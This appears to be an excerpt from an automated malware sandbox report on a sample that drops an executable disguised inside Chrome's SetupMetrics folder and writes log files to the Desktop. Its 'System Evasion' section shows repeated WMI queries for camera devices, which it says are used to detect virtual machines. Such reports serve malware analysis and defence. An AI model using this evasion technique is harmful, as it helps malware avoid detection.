Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\OJhBvsUw.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\EZaEGMWX.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\VpOjKmVj.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\LHvTaJQB.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\kRKYWufF.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\cnCjmBPY.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\KbadTfuJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\znwnjTAb.log	Jump to dropped file
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	File created: C:\Users\user\Desktop\haUhPxfM.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\TIptzuOL.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\MbILlBNZ.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\vUrgROiK.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\TZwLNPIO.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\zCyFubHy.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\hqWzaFmj.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\EpQDWYXm.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\dzgITJmq.log	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	File created: C:\Users\user\Desktop\CKvNPuCt.log	Jump to dropped file

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
